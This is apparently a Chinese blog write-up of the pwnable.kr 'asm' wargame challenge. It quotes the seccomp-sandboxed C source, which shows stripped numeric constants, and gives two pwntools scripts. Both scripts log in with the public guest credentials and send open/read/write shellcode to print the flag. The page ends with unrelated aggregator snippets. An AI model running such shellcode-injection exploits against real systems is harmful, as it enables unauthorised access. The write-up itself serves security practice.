【pwnable】asm之write up
首先查看源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h> #define LENGTH 128 void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit();
} seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), ); if (seccomp_load(ctx) < ){
seccomp_release(ctx);
printf("seccomp error\n");
exit();
}
seccomp_release(ctx);
} char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[];
int main(int argc, char* argv[]){ setvbuf(stdout, , _IONBF, );
setvbuf(stdin, , _IOLBF, ); printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, , MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, , );
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(, sh+offset, ); alarm();
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return ;
}
题目中给出了提示:

连接到本地的9026端口,asm正在执行,之后便可拿到flag,而flag所在文件为:
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
所以exp如下:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
filename='this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\0'
con = ssh(host='pwnable.kr', user='asm', password='guest', port=)
p = con.connect_remote('localhost', )#cn = process('./asm')
p.recvuntil('shellcode: ') pay = '31c031ff31d2b601be0101010181f6014640400f056a0258bf0101010181f70146404031d2b60431f60f054889c731c031d2b602be0101010181f6014940400f056a01586a015f31d2b603be0101010181f6014940400f05'.decode('hex') p.send(pay)
p.send(filename)
print p.recvuntil('\x90')
得到结果如下:

附:
exp:
from pwn import * con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026) context(arch='amd64', os='linux') shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100) # log.info(shellcode) #p.recvuntil('shellcode: ')
#p.send(asm(shellcode))
#log.success(p.recvline())
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()
2.再用read()将文件内容读取出来
3.最后用write将内容写到屏幕
【pwnable】asm之write up的更多相关文章
- 【pwnable.kr】 asm
一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- pwnable.kr-echo1-Writeup
pwnable.kr - echo1 - writeup 原文链接:https://www.cnblogs.com/WangAoBo/p/pwnable_kr_echo1.html 旧题新做,发现这道 ...
- 【pwnable.kr】 memcpy
pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...
- 【pwnable.kr】leg
pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.cDownload : http://pwnable.kr/bin/leg.asm ssh ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- Exception in thread "main" java.lang.NoSuchMethodError: org.objectweb.asm.ClassWriter.<init>(I)V
在学习CGlib动态代理时,遇到如下错误: Exception in thread "main" java.lang.NoSuchMethodError: org.objectwe ...
- Oracle从文件系统迁移到ASM存储
环境:RHEL 6.4 + Oracle 11.2.0.4 需求:数据库存储由文件系统迁移到ASM 数据库存储迁移到ASM磁盘组 1.1 编辑参数文件指定新的控制文件路径 1.2 启动数据库到nomo ...
- Linux平台oracle 11g单实例 + ASM存储 安装部署 快速参考
操作环境:Citrix虚拟化环境中申请一个Linux6.4主机(模板)目标:创建单机11g + ASM存储 数据库 1. 主机准备 2. 创建ORACLE 用户和组成员 3. 创建以下目录并赋予对应权 ...
随机推荐
- hdu1863 畅通工程 基础最小生成树
#include <iostream> #include <cstdio> #include <algorithm> #define N 110 #define M ...
- java hashCode 作用
hashCode 作用,对象根据hashCode的值分区域存放 /** * hashCode 作用 * * @author Administrator * */ public class Point ...
- jqgrid 分级标题
参考地址:http://www.trirand.com/jqgridwiki/doku.php?id=wiki:groupingheadar Grouping of the header should ...
- [已读]JavaScript编程精解
译者汤姆大叔,应该很多人都知道,他写了一系列的关于闭包与作用域理解的文章,但是由于创建了一些我不理解的新名词,我不爱看. <JavaScript编程精解>算是买得比较早的一本书,那会大肆搜 ...
- JVM 内存机制理解【转自http://www.cnblogs.com/dingyingsi/p/3760447.html】
我们知道,计算机CPU和内存的交互是最频繁的,内存是我们的高速缓存区,用户磁盘和CPU的交互,而CPU运转速度越来越快,磁盘远远跟不上CPU的读写速度,才设计了内存,用户缓冲用户IO等待导致CPU的等 ...
- apache配置多域名
环境:mac,其他环境也可做参考 hosts配置 eg:sudo vim /etc/hosts 127.0.0.1 www.testphalcon.com apache配置 找到apache对应安装目 ...
- 问题处理:Cannot find module (SNMPv2-TC): At line 10 in /usr/share/snmp/mibs/UCD-DLMOD-MIB.txt
在执行 php -i |grep redis 时显示以下报错信息(但在phpinfo查看时一切正常): MIB search path: /root/.snmp/mibs:/usr/share/sn ...
- mac及windows下安装ss实现***
官网下载shadowsock(mac/windows都是下面地址,页面会根据当前系统自动判断所下载的包) https://sourceforge.net/projects/shadowsocksgui ...
- java访问数据库步骤详解
eg1: public static void main(String[] args) throws ClassNotFoundException, SQLException { //第一步:加载JD ...
- JDBC优化策略总结
相比Hibernate.iBatis.DBUtils等,理论上JDBC的性能都超过它们.JDBC提供更底层更精细的数据访问策略,这是Hibernate等框架所不具备的. 在一些高性能的数据操作中, ...